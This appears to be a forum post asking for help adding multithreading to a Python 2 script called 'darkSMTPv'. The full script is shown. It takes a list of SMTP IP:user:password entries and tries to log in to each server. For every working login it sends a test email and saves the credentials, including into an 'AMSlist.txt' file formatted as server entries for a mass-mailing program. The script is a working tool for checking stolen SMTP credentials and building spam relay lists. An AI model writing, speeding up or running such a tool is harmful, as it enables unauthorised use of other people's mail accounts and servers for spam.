Python multi threads

Hello all,
Sambody i can help me please.
I need edit this python script for working in multi threads.

import sys, smtplib, socket, time, random 
from smtplib import SMTP 
from random import choice 

socket.setdefaulttimeout(5)    # smtp default timeout, change number to speed up large lists 

def printHelp(): 
    print '\nHow to use it ? There you go :) -- > ./SMTPv.py <accounts> <outputfile>' 
    print '\nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS\n' 

# Create the message 
fromaddr = "username@yahoo.com" 
toaddr = "someone@yahoo.com" 

def rndstr(): 
   rndstr = '' 
   for x in range(0,6): rndstr += str(random.choice(range(0,5))) 
   return rndstr 

rs = rndstr() 
message = """To: %s 
From: %s 
Subject: %s 

test SMTP mail 

""" % (toaddr,fromaddr,str(rs)) 
print "\n     _            _     _____ __  __ _______ _____        " 
print "    | |          | |   / ____|  \/  |__   __|  __ \       " 
print "  __| | __ _ _ __| | _| (___ | \  / |  | |  | |__) |_   __" 
print " / _` |/ _` | '__| |/ /\___ \| |\/| |  | |  |  ___/\ \ / /" 
print "| (_| | (_| | |  |   < ____) | |  | |  | |  | |     \ V / " 
print " \__,_|\__,_|_|  |_|\_\_____/|_|  |_|  |_|  |_|      \_/  \n" 
print "\n This is not stopping here! ... To be continued." 
print "More features will be added soon." 
print "_______________________________________________________________________" 

def timer(): 
        now = time.localtime(time.time()) 
        return time.asctime(now) 

def sendchk(listindex, host, user, password, info):   # seperated function for checking 
   try: 
      smtp = smtplib.SMTP(host) 
      smtp.login(user, password) 
      code = smtp.ehlo()[0] 
      if not (200 <= code <= 299): 
         raise SMTPHeloError(code, resp) 
      smtp.sendmail(fromaddr, toaddr, message) 
      print "\n\t[!] Sending successful:",host, user, password 
      print "\t[!] Message Sent Successfully\n" 
      if info != '': 
         LSstring = host+":"+user+":"+password+":"+info+"\n" 
      else: 
         LSstring = host+":"+user+":"+password+"\n" 
      nList.append(LSstring)      # special list for AMS file ID's 
      LFile = open(output, "a") 
      LFile.write(LSstring)       # save working host/usr/pass to file 
      LFile.close() 
      AMSout = open("AMSlist.txt", "a") 
      AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n") 
      smtp.quit() 
   except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
      print "[-] Login Failed:", host, user, password 
      pass 

if len(sys.argv) != 3: 
    printHelp() 
    exit(1) 

# Do not change anything below. 
accounts = sys.argv[1] 
output = sys.argv[2] 

try: 
    handle = list(open(accounts)) 
except: 
   print"\n[+] We were unable to open the SMTP filelist. Check again your path and try again." 
   print"\n[+] Exiting...." 

nList = [] 
for line in handle: 
   host = line.split(':')[0] 
   user = line.split(':')[1].replace('\n', '') 
   if line.count(':') == 2: 
      try: 
         password = line.split(':')[2].replace('\n', '') 
         sendchk(handle.index(line), host, user, password, info='') 
      except: 
         print '\n[+] We have found a error in your accounts list' 
         print host, user 
         exit(1) 
   elif line.count(':') == 3: 
      try: 
         password = line.split(':')[2] 
         info = line.split(':')[3].replace('\n', '') 
         sendchk(handle.index(line), host, user, password, info) 
      except: 
         print '\n[+] We have found a error in your accounts list' 
         print host, user 
         exit(1) 
   else: 
      print '\n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP,USER,PASS'
      print '\n[-] Exiting....\n' 

print "[!] Ended at: " + timer() + "\n" 
print "\n[!] Done!"

Code (markup):

Thank you.